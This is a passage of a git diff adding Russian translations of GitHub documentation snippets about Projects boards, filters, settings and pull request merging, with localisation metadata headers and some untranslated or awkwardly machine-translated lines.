/dev/null +++ b/translations/ru-RU/data/reusables/projects/disabled-projects.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3f169e9d98028d38910b3f7b0359d5620c4b4639 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884376" +--- +Это событие отображается только в откликах, если в репозитории [включены](/articles/disabling-project-boards-in-a-repository) панели проектов. diff --git a/translations/ru-RU/data/reusables/projects/enable-basic-workflow.md b/translations/ru-RU/data/reusables/projects/enable-basic-workflow.md new file mode 100644 index 000000000000..715219b099cb --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/enable-basic-workflow.md @@ -0,0 +1,17 @@ +{% data reusables.projects.access-workflows %} +1. Under **Default workflows**, click on the workflow that you want to edit. + + ![Screenshot showing default workflows](/assets/images/help/projects-v2/default-workflows.png) + +2. If the workflow can apply to both issues and pull requests, next to **When**, check the item type(s) that you want to act on. + + ![Screenshot showing the "when" configuration for a workflow](/assets/images/help/projects-v2/workflow-when.png) + +3. Next to **Set**, choose the value that you want to set the status to. + + ![Screenshot showing the "set" configuration for a workflow](/assets/images/help/projects-v2/workflow-set.png) + +4. If the workflow is disabled, click the toggle next to **Off** to enable the workflow. + + ![Screenshot showing the "On/Off" control for a workflow](/assets/images/help/projects-v2/workflow-enable.png) + diff --git a/translations/ru-RU/data/reusables/projects/enable-migration.md b/translations/ru-RU/data/reusables/projects/enable-migration.md new file mode 100644 index 000000000000..945701565ca9 --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/enable-migration.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d22df8d5bd389ddf5f3aa5a630285d1011269138 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147080730" +--- +1. Включите функцию "Миграция проекта" в разделе предварительных версий компонентов. Дополнительные сведения см. в статье [Изучение выпусков с ранним доступом с помощью предварительной версии возможности](/get-started/using-github/exploring-early-access-releases-with-feature-preview). diff --git a/translations/ru-RU/data/reusables/projects/graphql-deprecation.md b/translations/ru-RU/data/reusables/projects/graphql-deprecation.md new file mode 100644 index 000000000000..c97141c51520 --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/graphql-deprecation.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 58e4db1779a66fdac60bf63eef02984bc7ae769d +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878637" +--- +{% note %} + +**Примечание.** Мы не рекомендуем `ProjectNext` API GraphQL с версии **2022-06-20** и удалим `ProjectNext` API GraphQL в **2022-10-01**. Дополнительные сведения о переходе на новый `ProjectV2` API GraphQL см. в разделе [Новые проблемы GitHub — обновление от 23 июня](https://github.blog/changelog/2022-06-23-the-new-github-issues-june-23rd-update/) в записи блога {% data variables.product.prodname_blog %}. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/projects/graphql-ghes.md b/translations/ru-RU/data/reusables/projects/graphql-ghes.md new file mode 100644 index 000000000000..2480bd1523c0 --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/graphql-ghes.md @@ -0,0 +1,9 @@ +{% ifversion ghes = 3.7 %} + +{% note %} + +**Note:** The ProjectsV2 GraphQL API may not be available on {% data variables.location.product_location %}. + +{% endnote %} + +{% endif %} \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/projects/insights-alpha.md b/translations/ru-RU/data/reusables/projects/insights-alpha.md new file mode 100644 index 000000000000..b2fe4ba5281e --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/insights-alpha.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: c0d7f3ebd22bec99fcaf590ef450d09de3f5ca62 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145092858" +--- +{% note %} + +**Примечание.** Аналитические сведения для проектов (бета-версия) в настоящее время доступны в закрытой предварительной версии и пока доступны не для всех организаций. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/projects/migrate-project-steps.md b/translations/ru-RU/data/reusables/projects/migrate-project-steps.md new file mode 100644 index 000000000000..51655b8282c5 --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/migrate-project-steps.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 06ccb7d54079b9cd73a4ce66b02ae3cc9a7b3cf1 +ms.sourcegitcommit: 094dff459fcbf7d0634930e02405606dfffd7f0a +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/12/2022 +ms.locfileid: "148163232" +--- +1. Рядом с проектом, который вы хотите перенести, щелкните {% octicon "kebab-horizontal" aria-label="The menu icon" %}, чтобы открыть меню. +1. В меню щелкните **Перенести**. + ![Снимок экрана с функцией переноса](/assets/images/help/issues/migrate-menu-item.png) +1. Во всплывающем окне выберите, что должно произойти с проектом после его переноса. Рекомендуем выбрать вариант "Закрыть старый проект", чтобы было понятно, какой проект используется. + ![Снимок экрана с модальным окном переноса](/assets/images/help/issues/migrate-option.png) +1. В правом нижнем углу всплывающего окна нажмите кнопку **Начать миграцию**. + ![Снимок экрана с кнопкой запуска переноса](/assets/images/help/issues/migrate-start.png) diff --git a/translations/ru-RU/data/reusables/projects/new-field.md b/translations/ru-RU/data/reusables/projects/new-field.md new file mode 100644 index 000000000000..273596d575ff --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/new-field.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 3acee6d785e2b633f979e7edb8f80544dfa09ced +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109415" +--- +1. В представлении таблицы в самом правом заголовке поля щелкните {% octicon "plus" aria-label="the plus icon" %}. + ![Снимок экрана: кнопка "Создать поле"](/assets/images/help/projects-v2/new-field-button.png) +1. Щелкните **Создать поле**. + ![Снимок экрана: пункт меню "Создать поле"](/assets/images/help/projects-v2/new-field-menu-item.png) +1. Введите имя нового поля. + ![Снимок экрана: имя поля](/assets/images/help/projects-v2/new-field-name.png) diff --git a/translations/ru-RU/data/reusables/projects/new-view.md b/translations/ru-RU/data/reusables/projects/new-view.md new file mode 100644 index 000000000000..defec08b75b8 --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/new-view.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 9bac51e4098b1da121c0763f8581716a547353af +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148108871" +--- +1. Справа от существующих представлений нажмите **Создать представление** + ![Снимок экрана: меню "Поле столбца"](/assets/images/help/projects-v2/new-view.png) diff --git a/translations/ru-RU/data/reusables/projects/open-command-palette.md b/translations/ru-RU/data/reusables/projects/open-command-palette.md new file mode 100644 index 000000000000..68a26b6e42d7 --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/open-command-palette.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0a7a885c84adc96136d9ce7c2ae624da9d7fbe53 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147872791" +--- +Чтобы открыть палитру команд проекта, нажмите клавиши Command+K (Mac) или Ctrl+K (Windows/Linux). diff --git a/translations/ru-RU/data/reusables/projects/open-item-menu.md b/translations/ru-RU/data/reusables/projects/open-item-menu.md new file mode 100644 index 000000000000..aa7e368e86d3 --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/open-item-menu.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 10c8c2b298fd4eaec742bf9efbc686d6f2bb3c0b +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109408" +--- +1. Выберите {% octicon "triangle-down" aria-label="the item menu" %} (в табличном макете) или {% octicon "kebab-horizontal" aria-label="the item menu" %} (в макете доски). diff --git a/translations/ru-RU/data/reusables/projects/open-view-menu.md b/translations/ru-RU/data/reusables/projects/open-view-menu.md new file mode 100644 index 000000000000..e0dab50d7707 --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/open-view-menu.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 167d4ab0b57e2af8ee07f720db569725829adf69 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109400" +--- +1. Щелкните значок {% octicon "triangle-down" aria-label="the drop-down icon" %} рядом с открытым представлением. + ![Снимок экрана: значок меню "Представление"](/assets/images/help/projects-v2/view-menu-icon.png) diff --git a/translations/ru-RU/data/reusables/projects/owners-can-limit-visibility-permissions.md b/translations/ru-RU/data/reusables/projects/owners-can-limit-visibility-permissions.md new file mode 100644 index 000000000000..a0024901e1a4 --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/owners-can-limit-visibility-permissions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a811a75bedf573e347f2346a8872dd533b3a4466 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148108914" +--- +Владельцы организации могут управлять возможностью сотрудников организации создавать общедоступные данные {% data variables.projects.projects_v2_and_v1 %} или изменять видимость существующих данных {% data variables.projects.projects_v2_and_v1 %} на общедоступные. Дополнительные сведения см. в статье [Разрешение изменений видимости проекта в организации](/organizations/managing-organization-settings/allowing-project-visibility-changes-in-your-organization). diff --git a/translations/ru-RU/data/reusables/projects/project-description.md b/translations/ru-RU/data/reusables/projects/project-description.md new file mode 100644 index 000000000000..54ede3e51b03 --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/project-description.md @@ -0,0 +1,21 @@ +--- +ms.openlocfilehash: 18791d3acd8ee5e40621be07a2a5ea3b141ed749 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147423703" +--- +Вы можете задать описание проекта и файл сведений проекта, чтобы проинформировать о назначении проекта, предоставить инструкции по использованию проекта и включить все соответствующие ссылки. + +{% data reusables.projects.project-settings %} +1. Чтобы добавить краткое описание в проект, в разделе "Добавить описание" введите описание в текстовом поле и нажмите кнопку **Сохранить**. + ![Снимок экрана: параметры "Добавить мое описание"](/assets/images/help/projects-v2/edit-description.png) +1. Чтобы обновить файл сведений для проекта, в разделе README введите содержимое в текстовом поле. + - Файл сведений можно отформатировать с помощью Markdown. Дополнительные сведения см. в разделе [Базовый синтаксис записи и форматирования](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax). + - Чтобы переключаться между текстовым полем и предварительным просмотром изменений, щелкните {% octicon "eye" aria-label="The preview icon" %} или {% octicon "pencil" aria-label="The edit icon" %}. + ![Снимок экрана: редактирование файла сведений проекта](/assets/images/help/projects-v2/edit-readme.png) +1. Чтобы сохранить изменения в файле сведений, нажмите кнопку **Сохранить**. + ![Снимок экрана: кнопка "Сохранить" для файла сведений проекта](/assets/images/help/projects-v2/save-readme-button.png) + +Вы можете просматривать и вносить быстрые изменения в описание проекта и файл сведений, перейдя к проекту и щелкнув {% octicon "sidebar-expand" aria-label="The sidebar icon" %} в правом верхнем углу. diff --git a/translations/ru-RU/data/reusables/projects/project-settings.md b/translations/ru-RU/data/reusables/projects/project-settings.md new file mode 100644 index 000000000000..450206e724f6 --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/project-settings.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 5d00733f618afa1863da868f60cf56b7c064af6b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883791" +--- +1. Перейдите к своему проекту +1. В правом верхнем углу щелкните {% octicon "kebab-horizontal" aria-label="The menu icon" %}, чтобы открыть меню. + ![Снимок экрана: значок меню](/assets/images/help/projects-v2/open-menu.png) +2. В меню щелкните {% octicon "gear" aria-label="The gear icon" %} **Параметры** для доступа к параметрам проекта. + ![Снимок экрана: пункт меню "Параметры"](/assets/images/help/projects-v2/settings-menu-item.png) diff --git a/translations/ru-RU/data/reusables/projects/project_boards_old.md b/translations/ru-RU/data/reusables/projects/project_boards_old.md new file mode 100644 index 000000000000..b195255f20c9 --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/project_boards_old.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: bebce4bce257b7f6c754782b0db30840d88330d7 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147423671" +--- +{% ifversion fpt or ghec %} + +{% note %} + +**Примечания.** +* {% data variables.product.prodname_projects_v2 %}, совершенно новый интерфейс проектов, теперь доступен. Дополнительные сведения о {% data variables.product.prodname_projects_v2 %} см. в разделе [Сведения о {% data variables.product.prodname_projects_v2 %}](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects), а сведения о переносе {% data variables.projects.projects_v1_board %} см. в разделе [Миграция с {% data variables.product.prodname_projects_v1_caps %}](/issues/planning-and-tracking-with-projects/creating-projects/migrating-from-projects-classic). +* Новую классическую доску проекта можно создать только для тех организаций, пользователей или репозиториев, у которых уже есть хотя бы одна классическая доска проекта. Если вам не удается создать классическую доску проекта, вместо этого создайте доску проекта. + +{% endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/projects/projects-api.md b/translations/ru-RU/data/reusables/projects/projects-api.md new file mode 100644 index 000000000000..91449e8c4664 --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/projects-api.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: 2e24caea6bd8d7609ce24ec67f497ddbc1db8716 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147423599" +--- +{% ifversion fpt or ghec %} {% note %} + +**Примечания.** + +* Этот API относится только к {% data variables.product.prodname_projects_v1 %}. {% data variables.product.prodname_projects_v2 %} можно управлять с помощью API GraphQL. Дополнительные сведения см. в разделе [Использование API для управления проектами](/issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects). +* Вы можете создать {% data variables.projects.projects_v1_board %} только для организации, пользователя или репозитория, у которых уже есть по крайней мере один {% data variables.projects.projects_v1_board %}. + +{% endnote %} {% endif %} diff --git a/translations/ru-RU/data/reusables/projects/projects-beta.md b/translations/ru-RU/data/reusables/projects/projects-beta.md new file mode 100644 index 000000000000..e5b7c19f05a1 --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/projects-beta.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 0b11238d829229c838a3b186129c3d75b34bb408 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145092853" +--- +{% note %} + +**Примечание.** Проекты (бета-версия) в настоящее время доступны в общедоступной бета-версии и могут быть изменены. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/projects/projects-filters.md b/translations/ru-RU/data/reusables/projects/projects-filters.md new file mode 100644 index 000000000000..472a68eec554 --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/projects-filters.md @@ -0,0 +1,18 @@ +--- +ms.openlocfilehash: 9106c4a2e538e62d23cd0aa2e417758376f6ffcd +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148158856" +--- +- Чтобы отфильтровать любое совпадение нескольких значений (запрос OR), разделите значения запятой. Например, в `label:"good first issue",bug` вы увидите список всех проблем, помеченных как `good first issue` или `bug`. +- Чтобы выполнить фильтрацию на предмет отсутствия конкретного значения, добавьте `-` перед фильтром. Например, в `-label:"bug"` будут отображаться только элементы, у которых нет метки `bug`. +- Чтобы выполнить фильтрацию на предмет отсутствия всех значений, введите `no:`, за которым следует имя поля. Например, в `no:assignee` будут отображаться только элементы, которые никому не назначены. +- Чтобы выполнить фильтрацию по состоянию, введите `is:`. Например, `is: issue` или `is:open`. +- Разделите несколько фильтров пробелом. Например, `status:"In progress" -label:"bug" no:assignee` отображает только элементы со статусом `In progress`, которые не имеют метки `bug` и никому не назначены. +- Чтобы отфильтровать предыдущую, текущую или следующую итерацию для поля итерации, используйте `@previous`, `@current` или `@next`. Например, `iteration:@current`. +- Чтобы отфильтровать элементы, назначенные средству просмотра, используйте `@me`. Например, `assignee:@me`. Любой пользователь, использующий это представление, увидит элементы, назначенные сами себе. +- Чтобы выполнить фильтрацию по времени последнего обновления элемента, используйте `last-updated:` значение , за которым следует количество дней. Этот фильтр поддерживает `{number}days` только (или `1day` в течение одного дня) в качестве единого. Например, будут отображаться только элементы, `last-updated:7days` которые были обновлены 7 или более дней назад. +- Чтобы отфильтровать поля даты и числа, используйте запросы по диапазонам `>`, `>=`, `<`, `<=` и `..`. Например: `target:2022-03-01..2022-03-15`. Для получения дополнительной информации см. раздел [Основные сведения о различных ролях](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). {% ifversion projects-v2-tasklists %} +- Чтобы отфильтровать проблемы, отслеживаемые указанной проблемой, используйте `tracked-by:"/#"` и замените `` владельцем репозитория, `` именем репозитория и `` номером проблемы. {% endif %} diff --git a/translations/ru-RU/data/reusables/projects/reopen-a-project.md b/translations/ru-RU/data/reusables/projects/reopen-a-project.md new file mode 100644 index 000000000000..6c434e7b3edf --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/reopen-a-project.md @@ -0,0 +1,18 @@ +--- +ms.openlocfilehash: 89d6f8632c5afdba95861230c47fe358c6d18c7b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147423727" +--- +1. Перейдите на вкладку **Проекты**. ![Снимок экрана: кнопка закрытия проекта](/assets/images/help/issues/projects-profile-tab.png) +1. Чтобы отобразить закрытые проекты, щелкните **Закрытые**. + ![Снимок экрана: кнопка закрытия проекта](/assets/images/help/issues/closed-projects-tab.png) +1. Щелкните проект, который необходимо открыть повторно. +1. В правом верхнем углу щелкните {% octicon "kebab-horizontal" aria-label="The menu icon" %}, чтобы открыть меню. + ![Снимок экрана: значок меню](/assets/images/help/projects-v2/open-menu.png) +1. В меню щелкните {% octicon "gear" aria-label="The gear icon" %} **Параметры** для доступа к параметрам проекта. + ![Снимок экрана: пункт меню "Параметры"](/assets/images/help/projects-v2/settings-menu-item.png) +1. В нижней части страницы выберите **Повторно открыть проект**. + ![Снимок экрана: кнопка повторного открытия проекта](/assets/images/help/issues/reopen-project-button.png) diff --git a/translations/ru-RU/data/reusables/projects/save-view.md b/translations/ru-RU/data/reusables/projects/save-view.md new file mode 100644 index 000000000000..e1c3455bd9fb --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/save-view.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 2a7a472bbfeed56c58e483b61c2a140aa52e63e8 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148108877" +--- +{% data reusables.projects.open-view-menu %} +1. Нажмите кнопку **Сохранить изменения**. + ![Снимок экрана: пункт меню "Сохранить"](/assets/images/help/projects-v2/save-view.png) diff --git a/translations/ru-RU/data/reusables/projects/select-an-item.md b/translations/ru-RU/data/reusables/projects/select-an-item.md new file mode 100644 index 000000000000..4d91df1fb25c --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/select-an-item.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 8fef95ca781a57606206a89a8408bcd4774402e2 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109511" +--- +1. Выберите элемент. Чтобы выбрать несколько элементов, выполните одно из следующих действий: + - Щелкните каждый элемент, удерживая клавишу COMMAND (Mac) или CTRL (Windows/Linux). + - Выберите элемент, затем удерживайте клавиши SHIFT+ или SHIFT+, чтобы выбрать дополнительные элементы выше или ниже выбранного. + - Выберите элемент, затем нажмите клавишу SHIFT и щелкните другой элемент, чтобы выбрать все элементы между ними. + - Выбрав строку или элемент, нажмите клавиши COMMAND+A (Mac) или CTRL+A (Windows/Linux), чтобы выбрать все элементы столбца в макете доски или все элементы в табличном макете. diff --git a/translations/ru-RU/data/reusables/projects/tasklists-release-stage.md b/translations/ru-RU/data/reusables/projects/tasklists-release-stage.md new file mode 100644 index 000000000000..2d7c552087ed --- /dev/null +++ b/translations/ru-RU/data/reusables/projects/tasklists-release-stage.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 989d63ee95229407cd3c3b05f5cfb41bd9038aee +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159962" +--- +{% note %} + +**Примечание:** Списки задач, дорожки и поля отслеживания для проектов в настоящее время находятся в закрытой бета-версии и могут быть изменены. Если вы хотите попробовать списки задач и использовать новые поля, вы можете присоединиться к [списку ожидания](https://aka.ms/tasklist-roadmap-signup). + +{% endnote %} \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/pull_requests/auto-merge-requires-branch-protection.md b/translations/ru-RU/data/reusables/pull_requests/auto-merge-requires-branch-protection.md new file mode 100644 index 000000000000..e3fbe4d672fe --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/auto-merge-requires-branch-protection.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 687f4b359eab175d9c54f4ae11f7f0315ab52b4f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145092850" +--- +{% note %} + +**Примечание.** Параметр включения автоматического объединения отображается только в запросах на вытягивание, которые нельзя объединить немедленно. Например, если правило защиты ветви применяет условие «Требовать проверки запросов на вытягивание перед объединением» или «Требовать проверки состояния для прохождения перед объединением», и эти условия еще не выполнены. Дополнительные сведения см. в разделе [Управление правилом защиты ветви](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule). + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/pull_requests/automatically-delete-branches.md b/translations/ru-RU/data/reusables/pull_requests/automatically-delete-branches.md new file mode 100644 index 000000000000..fd8125a3d937 --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/automatically-delete-branches.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: cb8c02d6aa85aadd442d35976814d2b82469c9ef +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145118624" +--- +Вы можете автоматически удалять головные ветви после объединения запросов на вытягивание в репозитории. Дополнительные сведения см. в разделе [Управление автоматическим удалением ветвей](/articles/managing-the-automatic-deletion-of-branches). diff --git a/translations/ru-RU/data/reusables/pull_requests/close-issues-using-keywords.md b/translations/ru-RU/data/reusables/pull_requests/close-issues-using-keywords.md new file mode 100644 index 000000000000..1cfdaa304e7c --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/close-issues-using-keywords.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f5494b0e82ff08be08cda19f3a96533586e428bb +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145092846" +--- +Можно связать запрос на вытягивание с проблемой, чтобы показать, что выполняется исправление, а также чтобы автоматически закрыть проблему при слиянии запроса на вытягивание. Дополнительные сведения см. в разделе [Связывание запроса на вытягивание с проблемой](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue). diff --git a/translations/ru-RU/data/reusables/pull_requests/code-review-limits.md b/translations/ru-RU/data/reusables/pull_requests/code-review-limits.md new file mode 100644 index 000000000000..51e54c294359 --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/code-review-limits.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b5a40e9ee7cd19ab276d86270bcbf75d1f40eea6 +ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "147887153" +--- +По умолчанию в общедоступных репозиториях любой пользователь может отправлять отзывы, которые утверждают или запрашивают изменения запроса на вытягивание. Владельцы организации и администраторы репозитория могут ограничивать пользователей, которые могут утверждать проверки запросов на вытягивание или изменения запросов. Дополнительные сведения см. в разделе [Управление проверками запросов на вытягивание в организации](/organizations/managing-organization-settings/managing-pull-request-reviews-in-your-organization) и [Управление проверками запросов на вытягивание в репозитории](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-pull-request-reviews-in-your-repository). diff --git a/translations/ru-RU/data/reusables/pull_requests/collect-co-author-commit-git-config-info.md b/translations/ru-RU/data/reusables/pull_requests/collect-co-author-commit-git-config-info.md new file mode 100644 index 000000000000..d2abc3e5f5ef --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/collect-co-author-commit-git-config-info.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d9030f155d06ab735fe1c6c33c3b99a262c8c92f +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878629" +--- +1. Соберите данные об имени и адресе электронной почты для каждого соавтора.{% ifversion fpt or ghec %} Если пользователь решит скрыть адрес электронной почты, необходимо использовать указанный в {% data variables.product.product_name %}`no-reply` адрес электронной почты, чтобы защитить его конфиденциальность.{% endif %} diff --git a/translations/ru-RU/data/reusables/pull_requests/configure_pull_request_merges_intro.md b/translations/ru-RU/data/reusables/pull_requests/configure_pull_request_merges_intro.md new file mode 100644 index 000000000000..48ec676b37ed --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/configure_pull_request_merges_intro.md @@ -0,0 +1 @@ +You can configure pull request merge options on {% data variables.location.product_location %} to meet your workflow needs and preferences for managing Git history. For more information, see "[Configuring pull request merges](/articles/configuring-pull-request-merges)." diff --git a/translations/ru-RU/data/reusables/pull_requests/decide-how-to-resolve-competing-line-change-merge-conflict.md b/translations/ru-RU/data/reusables/pull_requests/decide-how-to-resolve-competing-line-change-merge-conflict.md new file mode 100644 index 000000000000..82da2a593584 --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/decide-how-to-resolve-competing-line-change-merge-conflict.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 443afeca8366b2b9edf488bd1796a6497fad54fd +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145092842" +--- +1. Решите, хотите ли вы сохранить изменения только вашей ветви, только другой ветви или внести совершенно новое изменение, которое может включать изменения в обеих ветвях. Удалите конфликтующие маркеры `<<<<<<<`, `=======`, `>>>>>>>` и внесите необходимые изменения в окончательном объединении. diff --git a/translations/ru-RU/data/reusables/pull_requests/default-commit-message-squash-merge.md b/translations/ru-RU/data/reusables/pull_requests/default-commit-message-squash-merge.md new file mode 100644 index 000000000000..acaf916a28b3 --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/default-commit-message-squash-merge.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: de247df24383306870f399d04db5c308da37a6b7 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118608" +--- +Сведения о сообщениях фиксации по умолчанию для слияний со сжатием см. в разделе [Сведения об объединении запросов на вытягивание](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges#merge-message-for-a-squash-merge). diff --git a/translations/ru-RU/data/reusables/pull_requests/default_merge_option.md b/translations/ru-RU/data/reusables/pull_requests/default_merge_option.md new file mode 100644 index 000000000000..7336d235d619 --- /dev/null +++ b/translations/ru-RU/data/reusables/pull_requests/default_merge_option.md @@ -0,0 +1,5 @@ +When you click the default **Merge pull request** option on a pull request on {% data variables.location.product_location %}, all commits from the feature branch 